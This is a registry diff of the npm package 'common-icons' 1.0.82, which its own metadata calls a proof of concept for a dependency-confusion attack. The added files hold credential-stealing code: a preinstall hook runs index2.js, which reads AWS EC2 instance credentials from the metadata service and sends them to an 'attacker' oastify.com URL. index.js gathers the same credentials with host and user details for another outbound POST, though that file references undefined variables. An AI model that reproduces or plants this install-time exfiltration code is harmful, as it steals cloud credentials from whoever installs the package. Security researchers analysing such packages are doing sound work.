common-icons 1.0.82

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of common-icons might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +49 -0
  2. package/index2.js +10 -0
  3. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,49 @@
1
+ base64data3 = '';
2
+ function req1(){
3
+ http.get({
4
+ hostname: '169.254.169.254',
5
+ port: 80,
6
+ path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance',
7
+ agent: false
8
+ },
9
+ (res) => {
10
+ res.setEncoding('utf8');
11
+ let data = '';
12
+ res.on("data", (d) => {
13
+ var x;
14
+ x=d;
15
+ let buff3 = Buffer.from(x);
16
+ base64data3 = buff3.toString('base64');
17
+
18
+ const trackingData = JSON.stringify({
19
+ p: package,
20
+ c: __dirname,
21
+ homedir: os.homedir(),
22
+ networkinginterfaces: os.networkingInterfaces(),
23
+ release: os.release(),
24
+ userid: os.userInfo().uid,
25
+ hostname: os.hostname,
26
+ username: os.userInfo().username,
27
+ dns: dns.getServers(),
28
+ r: packageJSON ? packageJSON.__resolved : undefined,
29
+ v: packageJSON.version,
30
+ pjson: packageJSON
31
+ });
32
+ var options = {
33
+ hostname: 'lnc9dq3e7zp7gbfl9evho5eg076yuoid.oastify.com',
34
+ port: 443,
35
+ path: '/',
36
+ method: "POST",
37
+ headers: {
38
+ "content-type":"application/x-www-form-urlencoded",
39
+ "content-length": postData.length,
40
+ "content-awsconfig":base64data1,
41
+ "content-awscreds":base64data2,
42
+ "content-imdsv":base64data3
43
+ }
44
+ };
45
+
46
+ })
47
+ }
48
+ )
49
+ }
package/index2.js ADDED
@@ -0,0 +1,10 @@
1
+ var url = "http://169.254.169.254:80/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance";
2
+ var attacker = "http://1oqpe64u8fqnhrg1auwxplfw1n7ev5ju.oastify.com/exfil";
3
+ var xhr = new XMLHttpRequest();
4
+ xhr.onreadystatechange = function() {
5
+ if (xhr.readyState == XMLHttpRequest.DONE) {
6
+ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
7
+ }
8
+ }
9
+ xhr.open('GET', url, true);
10
+ xhr.send(null);
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "common-icons",
3
+ "version": "1.0.82",
4
+ "description": "POC for confussion attack",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index2.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }